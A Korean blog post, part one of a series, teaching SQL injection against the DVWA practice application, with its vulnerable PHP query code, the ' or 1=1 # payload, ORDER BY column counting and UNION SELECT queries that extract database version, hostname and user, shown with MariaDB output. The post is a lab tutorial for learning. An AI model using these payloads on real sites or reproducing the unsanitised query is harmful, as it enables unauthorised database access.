Sh4n3e

[SQL Injection] DVWA로 알아보는 SQL INJECTION 1 본문

Web Hacking/SQL Injection

[SQL Injection] DVWA로 알아보는 SQL INJECTION 1

sh4n3e 2018. 4. 24. 14:42

SQL Injection 이름만 들어도 어려운 웹해킹 기법이며, 웹해킹의 꽃(?)이라고도 불린다.


이번 포스팅을 통해 기본적인 SQL Injection 기법부터 Blind SQL Injection 기법까지 다뤄보고자 한다.



0x01. DVWA

DVWA는 기본적인 웹해킹을 연습해볼 수 있는 공간으로, 설치 및 구성에 대한 부분은 생략한다.(그냥 구글링만해도 나온다.)

나는 KALI Linux에 DVWA를 설치하여 사용하였고, Kali에 기본적으로 설치되어있는 Apache2와 PHP7을 이용하였다.



0x02. SQL Injection?

SQL Injection은 웹페이지에서 DB에 정보를 조회하는 SQL Query문의 취약한 부분을 유추하여, 악의적은 SQL Query문을 삽입함으로써 원하는 정보를 획득할 수 있는 획득하는 것을 말한다.


아래의 코드는 DVWA의 SQL Injection용 예제 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
 
ifisset$_REQUEST'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST'id' ]; 
 
    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    // Get results 
    while$row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 
 
        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
    } 
 
    mysqli_close($GLOBALS["___mysqli_ston"]); 
 
?> 
cs


여기서 취약한 점은 id값을 Request Get방식으로 받게 되는데 어떠한 처리 없이 그대로 Query문에 삽입하는 것이다.


$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"


이렇게되면 해당 Query문은 우리가 원하는대로 수정이 가능하다고 봐도 된다.

여기서 가장 기본적인 Query문으로 변조해보자면, 우리가 매번 사용하는 ' or 1=1 #  일 것이다.


그렇게 되면 해당 쿼리문은 아래와 같아질 것이다.


SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #'; 


# 과 같은 주석처리 기호는 뒤의 초록색으로 표시되어 있는 ';을 오류없이 처리해주기 위해 넣어주는 것이다.


따라서 우리는 변조된 Query문을 다음과같이 해석해볼 수 있다.


user_id가 '''와 같거나 1=1이 참일 경우에 한해서, user테이블에서 first_name과 last_name을 가져와라.


당연히 1=1은 참이기 때문에 우리는 해당 조건에 대해서 값을 가져올 수 있는 것이다.

하지만 이렇게 시시하게 끝낸다면 SQL Injection을 하는 이유가 없다. 

왜냐하면 우리의 궁극적인 목표는 DB에 존재하는 정보를 권한내에서 가져오는 것이기 때문이다.





0x03. SQL Injection을 통한 기본정보 수집[1]

우리는 위에서 기본적으로 SQL Injection의 동작의 원리를 대략적으로 살펴보았다. 하지만 우리는 필요한 정보를 수집해야한다.

어떻게 하는걸까? 여기서 우리는 UNION SELECT문을 이용하여 원하는 정보를 가져온다.

하지만 UNION SELECT문을 사용하기 전에 선행작업이 요구된다. 그것은 앞단의 SELECT 문에서 가져오는 컬럼의 갯수를 알아내는 것이다.

이때 우리가 사용하는 것은 ORDER BY 이다. 

ORDER BY [숫자]는 해당 숫자에 해당하는 컬럼을 기준으로 정렬을 하겠다. 라는 의미를 가진다.

따라서 ORDER BY 1을 하면 1번째 컬럼을 기준으로 정렬을 하겠다고 해석하면 된다.

그럼 만약 총 컬럼의 갯수가 5개일때, "6번째 컬럼을 기준으로 정렬해줘!"라고 한다면 DBMS는 우리에게 에러를 반환하게 된다.

아래는 DBMS를 이용하여 실제 Query문으로 질의를 한 결과이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 order by 1;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Bob        | Smith     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
+------------+-----------+
5 rows in set (0.00 sec)
 
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 order by 2;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0.00 sec)
 
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
cs


우리는 ORDER BY문을 통해 앞의 SELECT 문이 몇개의 컬럼수를 가지는지 알아 내었다.

이제 다음으로는 UNION SELECT를 이용하여 기본적인 정보를 수집하는 것에 대해 알아보겠다.



0x04. SQL Injection을 통한 기본정보 수집[2]

간략하게 뽑아올 수 있는 정보는 4가지이다.

Version정보, Host이름, 시스템 사용자, 사용자

이렇게 4가지 정보는 아래와 같은 방법으로 추출해 낼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 union select 1,@@version;
+------------+-------------------+
| first_name | last_name         |
+------------+-------------------+
| admin      | admin             |
| Gordon     | Brown             |
| Hack       | Me                |
| Pablo      | Picasso           |
| Bob        | Smith             |
| 1          | 10.1.26-MariaDB-1 |
+------------+-------------------+
6 rows in set (0.00 sec)
 
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 union select 1,@@hostname;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| 1          | kali64    |
+------------+-----------+
6 rows in set (0.00 sec)
 
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 union select 1,system_user();
+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| 1          | dvwa@localhost |
+------------+----------------+
6 rows in set (0.00 sec)
 
MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 union select 1,user();
+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| 1          | dvwa@localhost |
+------------+----------------+
6 rows in set (0.00 sec)
cs



다음 글에서는 추가적인 정보를 추출하는 방법에 대해서 알아보겠다.



Comments